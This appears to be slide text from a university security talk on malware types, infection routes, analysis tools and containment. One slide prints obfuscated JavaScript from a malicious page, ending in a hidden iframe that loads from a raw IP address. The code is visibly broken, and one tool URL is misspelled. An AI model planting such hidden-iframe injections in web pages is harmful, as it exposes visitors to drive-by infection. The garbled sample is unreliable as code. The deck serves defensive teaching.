Malicious Software

A Technical Breakdown

Josh McCune
Network Security Analyst
mccunej@ksu.edu
Overview

- Types of Malware
- How does it get there?
- How do we find it?
- How do we analyze it?
- How do we contain it?
Malware Definitions

• Spyware
  o Gathers information for advertisement purposes
  o Sometimes called adware
  o Created by businesses that want to know their customers' browsing habits
Malware Definitions

- Viruses / Worms
  - Self-replicating applications
  - Created by malicious programmers for a variety of nefarious purposes
Malware Definitions

• Remote Access Trojans
  o Server applications that operate covertly
  o Created by malicious programmers to give them a means to get back in to a system once compromised
Malware Definitions

• Rootkits
  o Hard to detect
  o Created by programmers with advanced knowledge of system internals
  o Known to run for years unnoticed
Attack Vectors

- Email & attachments
- Deception (Social Engineering)
- Web Pages
  - Malicious Scripts
  - Counterfeit Websites
  - Browser vulnerabilities (drive-by exploits)
- Scareware
- Worms
- Instant Messaging
- P2P File Sharing Networks

Kansas State University
Infotech Security
Common Malware Activities

- Spam
- Denial of Service Attacks
- Information Stealing
  - Account Numbers
  - Credentials
  - Keyloggers
- Network scanning
- Infect Peers
- Illegal P2P file distribution
- Pop-up advertisements
Useful Analysis Tools

- **Virustotal**
  - http://virusustotal.com

- **Sandbox Applications**
  - Anubis - http://anubis.iseclab.org/
  - Joebox - http://joebox.org/
  - CWSandbox - http://cwsandbox.org/

- **Deobfuscators**
  - Wepawet – http://wepawet.iseclab.org/
Javascript Deobfuscation Example

```javascript
function v4975ab84695c2(v4975ab846a5a9) {
    var v4975ab846ad5e = 16;
    return parseInt(v4975ab8469dd5, v4975ab846a5a9());
}

function v4975ab846b531(v4975ab846bd00) {
    var v4975ab846d46c = 2;
    var v4975ab846c536 = ";
    for (v4975ab846cca1 = 0; v4975ab846cca1 < v4975ab846bd00.length;
        v4975ab846cca1 += v4975ab846d46c) {
        v4975ab846c536 += String.fromCharCode(v4975ab846c531,
            v4975ab846d46c);
    }
    return v4975ab846c536;
}

document.write(v4975ab846b531(364343524956543, 0));
<iframe name="b392b8b" src="http://116.50.15.25/stats/?" + Math.random() * 211356 + "76ba398a3a" width=412 height=513 style='display: none'></iframe>
```
Infection Symptoms

- Slow system performance
- Home page hijacking
- Excessive pop-up ads
- Crashes
- Some websites don't work (Antivirus sites)
- Unexplained hard drive activity
Containment

- Remove the system from the network
- If the system contains sensitive data, STOP!
  - Call your Information Security Officer
- Back-up critical data to external storage
- Reformat Hard Drive
- Reinstall Operating System
Malware Demonstration